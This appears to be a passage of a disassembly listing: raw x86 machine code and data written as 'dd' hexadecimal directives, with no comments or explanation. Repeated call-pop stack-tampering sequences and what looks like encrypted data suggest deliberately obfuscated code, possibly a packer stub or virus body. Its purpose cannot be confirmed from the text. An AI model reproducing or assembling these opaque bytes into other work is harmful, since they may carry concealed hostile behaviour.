		dd 7FE7BECh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	37C35242h, 394D3B40h, 0E78166EBh, 858BA058h, 7FA0B09h
		dd 38F0Fh, 0E7800000h, 0C4868974h, 0F000000h, 958BDAB7h
		dd 7FA27C1h, 6E8h, 0F5E8C800h, 0F417438h, 682h,	840F00h
		dd 5B000000h, 8B04C283h, 0FA12F59Dh, 0ADBD8B07h, 8907FA1Dh
		dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0A571E8C3h, 934F25F9h, 38F0Fh, 8B660000h
		dd 0AE8FEh, 1DA0000h, 85418ACCh, 1969097Ch, 12E9h, 0F655E500h
		dd 12ACC6D6h, 5054464Fh, 64032B17h, 5B408AC5h, 0A3858DF5h
		dd 6607FE90h, 89AFCDBFh, 0B886h, 7E800h, 7C540000h, 88A4EFCEh
		dd 0B99D0BEAh, 5B07FA1Ch, 0EE9006Ah, 0D3000000h, 426D66F2h
		dd 9F9A8834h, 0AF3DE51h, 0F8B5FFFFh, 8B07FE7Bh,	0FA1725BDh
		dd 0F995FF07h, 6A07FA1Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0A085C350h,	18A58D89h
		dd 9D8B07FAh, 7FA1375h,	89FB8B50h, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 203801C3h
		dd 29059D8Bh, 9BB707FAh, 7BF8B5FFh, 6A07FEh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 22F4F2C3h
		dd 118D3101h, 0FF07FA04h, 0FA076595h, 83D98B07h, 0FA1EC5BDh
		dd 840F0007h, 45h
		dd 27F99D8Bh, 0BB9607FAh, 0ED1E955h, 0EE850h, 0A0790000h
		dd 0D1423883h, 65F51FB5h, 33D67D9Ch, 602DB160h,	965B6161h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 66C35141h
		dd 0F8B5FF6Ah, 8007FE7Bh, 95FFBBE7h, 7FA18F5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 67C35545h, 774B10A9h
		dd 6E959h, 0B4E80000h, 0FFC32629h, 7BF8B5FFh, 0BD2907FEh
		dd 7FA2501h, 1EB195FFh,	8B6607FAh, 0F5BD83DAh, 207FA26h
		dd 23840Fh, 9D010000h, 7FA11D9h, 1419858Bh, 9D2307FAh
		dd 7FA13F1h, 0E90000C6h, 9, 9EB5F692h, 93245990h, 0B185C787h
		dd 7FA05h, 0F000000h, 680h, 4D858900h, 0E907FA28h, 0FFFFF4CCh
		dd 1BE98531h, 0C18B07FAh, 8DDE8B66h, 0FA150D85h, 5750F507h
		dd 0F525060h, 0E8585A31h, 12h, 0D41F8E14h, 142F24B5h, 0BF8BF90h
		dd 0F5F955B6h, 6158351Fh, 2404895Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0FBC35343h,	15950265h, 0E7BECEBDh
		dd 0CD18529h, 6A07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 34C35646h, 9CCF818Fh,	6A7FD257h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 64858D14h, 66080004h, 0D006EB81h, 6A05C083h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0A301C353h, 9E960h, 0BB5A0000h, 187931ACh, 8033C9DCh
		dd 5061D5EDh, 10E8h, 706B1F00h,	0E7344F70h, 0A4C3C54Fh
		dd 9EFC431Ch, 0FE8B6619h, 2404895Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 88C35040h, 89006A19h, 0FA23E9B5h
		dd 66006A07h, 0B698C381h, 13820Fh, 8B600000h, 9E8CEh, 0A1180000h
		dd 0C3F95BA0h, 5FDACFF8h, 4D95FF61h, 6A07FA17h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 3DA2C351h, 94EE0E93h, 0CC0D2FD3h, 6800F60h, 9000000h
		dd 0FA07958Dh, 6E907h, 0D31B0000h, 0A9208144h, 0A19D8B61h
		dd 8D07FA03h, 0FE7ADB8Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 90A4DF2h, 0FDAAD3Fh
		dd 1E8Bh, 61606000h, 14E8h, 6E333F00h, 8FE03DF1h, 54FDB0BDh
		dd 3C6DD081h, 0BC30F84Eh, 0FF615912h, 8E8D1h, 53FA0000h
		dd 4D5F5564h, 0B70FE515h, 0BD835FF9h, 7FA27ADh,	99850F01h
		dd 0BF000000h, 55EC0C26h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B73391C3h, 99D8B31h
		dd 8907FA09h, 0FA07F985h, 66609007h, 60FB59BAh,	6161D08Bh
		dd 10E86050h, 0A3000000h, 0DFB23A56h, 0BE261A9Eh, 7CA9AB8Fh
		dd 606515CDh, 8B665E61h, 6A9061C1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6052C355h
		dd 0AC6BB0B9h, 0C3BF0F67h, 8BBAB761h, 0FA1C999Dh, 0F995FF07h
		dd 0F07FA1Eh, 8589DFB7h, 7FA1295h, 0DB2E9h, 0E800h, 815D0000h
		dd 46EEDh, 13E808h, 6C480000h, 0E298AD65h, 261E71B3h, 0A90CF97Ah
		dd 0E50A315Fh, 499D232Ch, 5B07FA05h, 0A096BF66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 52C35545h, 0F43A908h
		dd 0A88h, 48A0F00h, 66000000h, 9A7F1BFh, 0FA185195h, 0A2858D07h
		dd 8A07FE4Fh, 8B0F50DEh, 12h, 0DE9h, 0C32B5700h, 2942A032h
		dd 5CDD6FD4h, 4892752h,	0D3816624h, 0FF643204h,	35h, 75858900h
		dd 6407FA13h, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 752E77C3h, 7A31ADDh
		dd 0FFDAB70Fh, 0FA312585h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0F72CDADEh
		dd 5FBB6651h, 0E8FF6A07h, 10h, 30DC495h, 372D5C66h, 2B665812h
		dd 32094700h, 5D99D89h,	0FF5B07FAh, 0FA0235B5h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0D2F13D88h, 1E8B4198h, 9D8BA258h, 7FA1E79h, 18D95FFh
		dd 3E907FAh, 3000001h, 0FA1F41BDh, 0F00B007h, 84h, 1DB58900h
		dd 0E607FA06h, 0B771E470h, 70D381E5h, 3C6DF1DEh, 0DB830F61h
		dd 66000000h, 0FF06CBBh, 0BD89C8B6h, 7FA24E9h, 6BAh, 0C18BFC00h
		dd 0E8C1D88Bh, 24DB8004h, 7ED38166h, 0E2F76622h, 8BDABF0Fh
		dd 0FA1699BDh, 3C82B07h, 0FA12099Dh, 8BD18B07h,	9CE9D8h
		dd 8BF50000h, 47554C85h, 81E38149h, 89418955h, 0FA0C999Dh
		dd 7C08307h, 9E8h, 0E545EB00h, 0FFFED19Dh, 5E926BEh, 0E4000000h
		dd 0A2D8C542h, 0C0835Fh, 7E8h, 0F3B4BA00h, 69BB2D78h, 3B5F4DB3h
		dd 1A830FD0h, 0B7000000h, 830F608Eh, 5,	0A7D38166h, 61FE8B70h
		dd 3DE9h, 37BF6600h, 0FF8D8BE3h, 8BFFFFFFh, 0FA17799Dh
		dd 0ADBD8907h, 8307FA13h, 840F01E1h, 1Eh, 2401BD8Bh, 0A58307FAh
		dd 0FFFFFFFFh, 9589FCFEh, 4947554Ch, 7BC38166h,	0E984h
		dd 0B58D0000h, 7FF8312h, 68F0Fh, 95890000h, 7FA2DA1h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 6E908C3h, 8A000000h,	35BF03B4h, 2D95FF4Bh, 6A07FA01h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0E702C357h, 231298BDh, 0BBF93F49h, 169CE2E6h
		dd 1021B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B58EE4Ah, 0FCE183F8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 6EC35141h, 8817F742h
		dd 66FCF807h, 0CA85D381h, 0D22BC02Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 81C35242h, 8B9BB0EBh, 0FA21159Dh
		dd 8B666007h, 0AD61FCF7h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5A72C353h, 8B5758D9h, 0E8A30D64h,	8, 19E8FC95h
		dd 6937DA6Bh, 5BD98B66h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 80C35646h, 6774E65Dh,	0F5389DEh, 680h
		dd 2D953100h, 5F07FA18h, 880Dh,	0F1BD8B00h, 0F07FA07h
		dd 0B84h, 6E900h, 86840000h, 6C1E77AAh,	27C1958Bh, 5E907FAh
		dd 3C000000h, 4B0581A3h, 1C018D8Bh, 6A07FAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 88C3C9C3h
		dd 57EA79C3h, 0BF0F82ADh, 0C28B50DAh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 3BC9C355h, 8DBD8B44h
		dd 6A07FA2Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BD4FC355h, 0B58984F0h, 7FA28A1h
		dd 741BD83h, 0F0007FAh,	2384h, 0B800h, 0F530000h, 28Dh
		dd 5F02B700h, 4F538D8Dh, 0BD0107FAh, 7FA159Dh, 0BD8BE1FFh
		dd 7FA1EEDh, 1AEDBD83h,	0F0007FAh, 43984h, 0DAB70F00h
		dd 0D2EFE381h, 0BD837BEEh, 7FA1AEDh, 3E840F01h,	6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9535C353h, 6554B1EEh, 22E261C5h, 1AEDBD83h
		dd 0F0307FAh, 3D686h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0EF8160E3h, 35E35E1Ch
		dd 89D98C66h, 0FA2629B5h, 0EE807h, 56F10000h, 0DC071C88h
		dd 0CD07C3AEh, 4C57C3FEh, 0A6EBB66h, 4E1805Bh, 26199D8Bh
		dd 0C90A07FAh, 10A840Fh, 0CB810000h, 795FD171h,	17D5858Bh
		dd 0BD3307FAh, 7FA075Dh, 1A418533h, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8073EAC3h
		dd 0C6CC9D0Eh, 99D8B4Ah, 8B07FA00h, 0FA2589BDh,	0BF665007h
		dd 4895442h, 6820F24h, 8B000000h, 0FA1D25BDh, 9006A07h
		dd 0FA272595h, 4E807h, 3FF0000h, 0BB66001Fh, 515041E5h
		dd 6E9h, 8D13E000h, 5B9B1099h, 424448Bh, 8B01B3h, 4489DE8Bh
		dd 0BE80424h, 11000000h, 0CD32DEAEh, 0B5F1D6FBh, 0BB66F7BFh
		dd 585BEC3Ch, 0DE8h, 0B0280700h, 5C40023Eh, 1BE3A7E7h
		dd 0BD89A1B5h, 7FA2411h, 7D8D895Bh, 0FF07FA32h,	0FA178595h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 1CD0EAC8h, 0BF0FDECFh, 0F88589FFh, 2907FE7Bh
		dd 0FA1F5D95h, 203E907h, 0F7800000h, 5890F84h, 0BB000000h
		dd 55103CE4h, 7BF0858Bh, 0BD8B07FEh, 7FA1CD5h, 1800C7h
		dd 0B5890000h, 7FA05F1h, 7BF4B58Bh, 6A07FEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 1D1FCDC3h
		dd 0A89D52C2h, 8E9h, 0A1515800h, 5841E9Fh, 40D38150h, 8B45E621h
		dd 0FA06E185h, 5E807h, 0CA400000h, 0E9EB9F94h, 6, 0A9DF33DEh
		dd 895BEAB8h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 802C6EF4h, 858B4ADBh, 7FA17D5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0B6C35040h, 1044689h
		dd 0FA2B5D8Dh, 9E85007h, 5000000h, 0D7EAF940h, 3644E27Bh
		dd 442ABB66h, 2434895Bh, 0FFFB8B66h, 0FE7BF0B5h, 2DBD8907h
		dd 0E807FA08h, 4, 1F03FFh, 2810Fh, 5F560000h, 0F525050h
		dd 8B585A31h, 0E8042444h, 13h, 0C77C1BFCh, 2793C4B3h, 4CBDB3EEh
		dd 732D60D4h, 50DA614Dh, 0F5F5052h, 0C0BF6631h,	5B585A10h
		dd 0E960008Bh, 14h, 0B375BCC9h,	0AC4A06F2h, 425ECD6h, 2189D248h
		dd 0C2A0B295h, 64F0BA66h, 24448961h, 858D5804h,	7FE7BF8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C7C35343h
		dd 27C38EF0h, 33D88ADEh, 0FA2065BDh, 820F9007h,	5, 0FE8B6651h
		dd 13E8505Bh, 0AC000000h, 72CF803Ah, 36AF3F7Bh,	0DAAED532h
		dd 6B20F3DCh, 6DBB6E13h, 5F042223h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0C811E8C4h
		dd 50ED2268h, 0FEECBB66h, 8595FF5Fh, 6A07FA17h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 29F1C355h, 0FA26AD85h, 9D896107h, 7FA28A1h, 1AED85C7h
		dd 307FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0FFEEBBC3h, 0F8BD83F9h, 7FE7Bh
		dd 45840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 76853C3h, 215A2A18h, 248D9D89h
		dd 33E907FAh, 0F000000h, 128Eh,	6E800h,	600000h, 5EFA64A2h
		dd 0BAD9D89h, 505F07FAh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 893EFBC3h, 0FA32ED85h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 5CEB0D9Ch, 0C3C94CA0h, 27C59D31h, 8D8907FAh
		dd 7FA25C5h, 83DF8B66h,	0FA1AEDBDh, 850F0307h, 3FEh, 0A3DFBF66h
		dd 7BF8BD83h, 0F0007FEh, 3ED84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 54A47BC1h
		dd 0B5FF21B7h, 7FE7BF8h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 58C35646h, 4D95FF75h,	6A07FA01h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 23C3C351h, 0FB039008h, 53B1277Ch, 5FFA8B66h,	14E8h
		dd 51C7FA00h, 5B211796h, 0A52882C8h, 6DD8C67Ah,	54646474h
		dd 31D781EEh, 5F73242Eh, 7BECB58Bh, 0C7F507FEh,	1000106h
		dd 0FBBF0F00h, 0BE606050h, 48165778h, 61C68B61h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0DBB0C356h, 877E075Eh, 0E5821F0Ch, 0D59D89h
		dd 0F38107FAh, 303A4BDAh, 7BF8B5FFh, 16007FEh, 0FA173DBDh
		dd 10E95707h, 71000000h, 0C26950E6h, 324E9626h,	2A29D05Dh
		dd 59FCF771h, 1D95FF61h, 8907FA16h, 0FA2DA9B5h,	0ECB58B07h
		dd 6A07FE7Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 4B69C351h, 8BFCAE9Eh, 0FA192DBDh
		dd 9858B07h, 6A07FA0Bh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 1489C352h, 0DB816B5Ah
		dd 6859112h, 0C48689h, 81660000h, 8B5548DFh, 0FA27C195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 5560ACDCh, 6A04C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 358AC356h
		dd 8940E0A8h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 55F2B0C3h, 0FE9h, 3DD100h, 0C3B78D99h
		dd 0B0850DDEh, 0A5CC6A15h, 90A3858Dh, 868907FEh, 0B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4CC35747h
		dd 6A149909h, 44D9C15h,	0A59D8B60h, 0F07FA26h, 0E961F1BFh
		dd 13h,	0C1568840h, 8F60FEAh, 0DBD695EDh, 57ADA74h, 6ADD9FB6h
		dd 399D8B00h, 0FF07FA03h, 0FE7BF8B5h, 4840F07h,	66000000h
		dd 0FF033BBBh, 0FA1EF995h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0EA1618E3h
		dd 2BA83F9Eh, 0FA0C819Dh, 34895007h, 4830F24h, 66000000h
		dd 0FFEB89BBh, 0FE7BF8B5h, 0E3816607h, 95FF7D75h, 7FA0765h
		dd 218DBD2Bh, 0BD8307FAh, 7FA1EC5h, 6E840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 4441C353h, 523A76CFh, 5E9h, 66995B00h, 50968D9Ah
		dd 0A850Fh, 52500000h, 310FFE8Bh, 585A6160h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 1045ECF6h, 0C999501h
		dd 6E907FAh, 99000000h,	0E8AB704Ch, 0F8B5FFFEh,	907FE7Bh
		dd 0FA1699B5h, 0F595FF07h, 8107FA18h, 0A6CFA6EBh, 0F8B5FF17h
		dd 6A07FE7Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 59ABC351h, 69AAD83Dh, 518D3160h
		dd 6107FA2Dh, 1EB195FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 33603CC3h, 0FA1CF5B5h
		dd 9EC68107h, 61587194h, 26F5BD83h, 0F0207FAh, 1284h, 0D7816600h
		dd 858BBDD2h, 7FA1419h,	660000C6h, 0C7C1D9BFh, 0FA05B185h
		dd 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BF668E8Bh, 82E98719h, 6AFFFFF3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0FB29C350h, 9D89C18Bh, 7FA2479h, 13E8h, 0D047E100h
		dd 78B4A933h, 19A60174h, 0B54C2C09h, 0E770582Ch, 20ADB531h
		dd 8D5B07FAh, 129D8Dh, 2BF6608h, 0C18D89FAh, 8B07FA27h
		dd 185C7DFh, 6C07FA1Ch,	6A00006Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0BAADC355h
		dd 0C7C78B66h, 0FA1AED85h, 7, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B5FF8782h
		dd 7FA2429h, 89FBE780h,	0FA2DD985h, 7D95FF07h, 8007FA17h
		dd 6A4EE0h, 12D95FFh, 0C08B07FAh, 77A44AEBh, 0B9460AE8h
		dd 74D5C0AFh, 75FDC3ECh, 976AC6Ah, 45905A93h, 2575E63Ch
		dd 13E51BF3h, 0BF674B20h, 1DCE5A09h, 3D3483Bh, 0CA70458Ch
		dd 0E7CAC5A4h, 3E006C75h, 6978EFD2h, 0E81FB27Ah, 0C55923E2h
		dd 39FD1F6Dh, 0E9F7543Bh, 13C68D8Dh, 6A0800h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B7E3E3C3h
		dd 0EA73F4C9h, 0C18D8969h, 6A07FA27h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 13B6C352h
		dd 0A2D2C30Bh, 47B335CEh, 1C0185C7h, 642407FAh,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 64B7A8C3h, 0ED85C7FCh, 7FA1Ah, 0E9000000h, 0Dh, 62E760Bh
		dd 35AD707Eh, 70D0031h,	0F8B70F27h, 11F9B5FFh, 858B07FAh
		dd 7FA27DDh, 177D95FFh,	6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D21670C3h, 9B52977h
		dd 6A07FA0Ch, 2D95FF00h, 8B07FA01h, 796AEBC0h, 0B07F4706h
		dd 19E744Fh, 9C788CA8h,	71F74C06h, 790F133Ah, 0E6D1555Eh
		dd 76B79A30h, 0AC741532h, 0FCBDA3D8h, 0ABA57B70h, 22AD77CFh
		dd 1CF4D400h, 90230BB3h, 0FAAFD314h, 950D6E77h,	8D0816F6h
		dd 46032DB0h, 0E3D7C2C0h, 28DCA9CBh, 19B30ACFh,	0D3CC78DCh
		dd 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h, 63997EC1h
		dd 0CE8B7h, 87F90000h, 796929C1h, 136D7120h, 0BD8996E8h
		dd 7FA3511h, 0B70F565Eh, 0C68159FBh, 71A2h, 41BA8CB3h
		dd 6600001Ch, 0B1FDE981h, 0C081068Bh, 2BAAEA3Ch, 1DD8D31h
		dd 0C08107FAh, 5CDF0D60h, 6810Fh, 8D010000h, 7FA21D5h
		dd 9CC5E881h, 8B661895h, 890689FBh, 0FA2B11B5h,	3EE8307h
		dd 4E2AC380h, 36C959BFh, 1EA8335h, 1B850Fh, 9D8B0000h
		dd 7FA1951h, 27E9h, 5DB0DD00h, 0FFCE8C56h, 23B868CEh, 2D930AAFh
		dd 0E9CB8BF4h, 0FFFFFF98h, 0F2D74BB0h, 0EAB1EC02h, 0D88C085Fh
		dd 24554303h, 157E8D8Dh, 0A4BA0800h, 894F5E04h,	0FA27C18Dh
		dd 559D2907h, 0C707FA1Ch, 0FA1C0185h, 5BF407h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 17BE7ABEh, 0C70E480Eh, 0FA1AED85h, 7, 39950300h, 107FA18h
		dd 0FA1E71BDh, 41B5FF07h, 6A07FA24h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0F29FC353h
		dd 3F6E595Ah, 0EEBB5978h, 0F52A86Ch, 284h, 0FFD98B00h
		dd 0FA177D95h, 0A1C88107h, 6A43033Dh, 2D95FF00h, 8B07FA01h
		dd 8C6CEBC0h, 0E41C77B8h, 6D84C67Eh, 2AD15168h,	0C31BC1C9h
		dd 80014622h, 0FBCED08Ch, 64EA1419h, 5FCEAC82h,	0F7EF570Ch
		dd 88C1849Ah, 0A44DBC81h, 1B833176h, 0ABBA2315h, 6F6351EAh
		dd 66B78AF2h, 41A77598h, 81F0E038h, 203B7554h, 4BDFC5A3h
		dd 1BE75084h, 517EAB9h,	3885C501h, 10498AE4h, 0AE72C8ABh
		dd 1F5C18F9h, 0BEE0C6D2h, 0E83F1A81h, 7, 0EDC2063Ah, 8079DE17h
		dd 0E95A68C1h, 0Ch, 3D129A1Dh, 31A9D603h, 97A9942Ch, 65F5C281h
		dd 9D8B0000h, 7FA0C6Dh,	68h, 19958900h,	5807FA19h, 92D9589h
		dd 3C8B07FAh, 358D8B02h, 8107FA03h, 92DA25C7h, 0F781F553h
		dd 2DDFD25Ah, 1725B58Bh, 0EF8107FAh, 7B41F5F2h,	8909ED80h
		dd 2BB7023Ch, 0ED850152h, 5907FA2Dh, 3104E883h,	0FA1B61B5h
		dd 0B4F88107h, 0FFFFF9Ah, 1485h, 0F08B6600h, 24E9h, 0D8B4C900h
		dd 47475E9Bh, 634A77A6h, 38E9819Eh, 0E924CCD4h,	0FFFFFF9Ah
		dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 95996CC1h, 2FE80048h
		dd 281B860Eh, 48728101h, 0F05F7960h, 4E734478h,	2878E88Dh
		dd 2811F057h, 76320C01h, 5C9B58C2h, 6C930725h, 280A8525h
		dd 7E54C001h, 552440C2h, 95133779h, 2FE83000h, 19B79988h
		dd 2CBA01FBh, 2A0A870Eh, 0C6938101h, 251087D2h,	50ABF80h
		dd 95910373h, 2FE80674h, 5960301h, 4E120601h, 0C151F5BFh
		dd 281280F7h, 0C041C06Bh, 28126002h, 73D16B21h,	2C364488h
		dd 2C364880h, 2812061Dh, 15D15042h, 56A8AD6Eh, 0EF1337DDh
		dd 4E403091h, 191DE08Ah, 191D4A51h, 7048F88Bh, 0A3425E5Bh
		dd 927493D0h, 291DD535h, 0A8ECE44Dh, 424A69E6h,	2BFA6701h
		dd 8121801h, 0A14DCF5Eh, 0A916227Dh, 32162745h,	6F128101h
		dd 4B050356h, 0B9012454h, 4EEA50F2h, 0AB73C78Ah, 287820C1h
		dd 2811EE50h, 71320301h, 649BD8C2h, 6C93C425h, 28056425h
		dd 79533001h, 946339C2h, 95115A5Ch, 2FE8321Ch, 0CDA78A5Fh
		dd 0A3157B2Bh, 0E9AFCB09h, 4E159A20h, 23EE788Ah, 0D20F59B4h
		dd 11936A06h, 0AC1DF937h, 281203D8h, 0C041816Bh, 2812C002h
		dd 73D13B21h, 2C366C88h, 2C365C80h, 28120C16h, 0E4D15542h
		dd 0A2847EDDh, 21D302DBh, 0C042C06Bh, 28126002h, 70D16821h
		dd 2C365C88h, 2C364880h, 28120615h, 3AD15341h, 357B1488h
		dd 1192C7FBh, 0C3976FE8h, 42123001h, 2BFA4901h,	8120C01h
		dd 0A14BC558h, 0A916274Dh, 3316A545h, 6912C001h, 1C4A350h
		dd 2E69CBE1h, 0E392C560h, 29538737h, 0C042066Bh, 28120302h
		dd 70D1D921h, 2C368488h, 2C362480h, 28123014h, 0D3D14841h
		dd 0DD973D9Fh, 2B15FC1Fh, 498F8AC9h, 0AB157B18h, 0A9EEC5C0h
		dd 6B59F038h, 0AF973F8Ah, 42121801h, 2BFA5D01h,	8120601h
		dd 0A14BC058h, 0A916A54Dh, 3016E445h, 69126001h, 4237F350h
		dd 0A13DA53Dh, 0D21BB994h, 7B9F8B06h, 115F94Eh,	0D2075CB4h
		dd 28117806h, 28786001h, 2811D856h, 77321801h, 549B53C2h
		dd 6C930225h, 280B0725h, 7F558101h, 6A6EE8C2h, 0D7FDF7ECh
		dd 7E125AE0h, 28121BE9h, 0EB4C2C01h, 0C668F5Fh,	0C568205h
		dd 28129405h
		dd 0EB448601h, 2EFA80D9h, 4D123001h, 2810141h, 77425FC2h
		dd 48735D5Fh, 0A18F8850h, 70157B12h, 2812C6E9h,	54108201h
		dd 4EBAB1FDh, 73092CB9h, 89AF8160h, 0A51A0617h,	280B3E8Ch
		dd 0AB663909h, 0AD21C193h, 2FE84174h, 0C1D3FF2Ah, 95996C03h
		dd 2FE80048h, 281B860Eh, 48728101h, 0F05F7960h,	4E734478h
		dd 5E9838Dh, 0C08BA4F3h, 154DBD8Bh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8589D1C3h
		dd 7FA0931h, 8D8DC38Bh,	8001A18h, 0C18D89F9h, 6A07FA27h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0C721C356h, 0FA1C0185h, 5A3007h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0C7CFEA01h, 0FA1AED85h, 7, 0FFDD8A00h, 0FA2D45B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C1958B6Dh, 0FF07FA14h, 0FA177D95h, 0FF006A07h, 0FA012D95h
		dd 0EBC08B07h, 7D3A231Ah, 4D860154h, 5A5683D6h,	0A4DD8785h
		dd 44FACA86h, 0E090CF8Eh, 0E924DF98h, 11h, 247BC4D4h, 3	dup(0)
		dd 0D52E900h, 50800000h, 0BC165AA8h, 67767A88h,	0B81955ADh
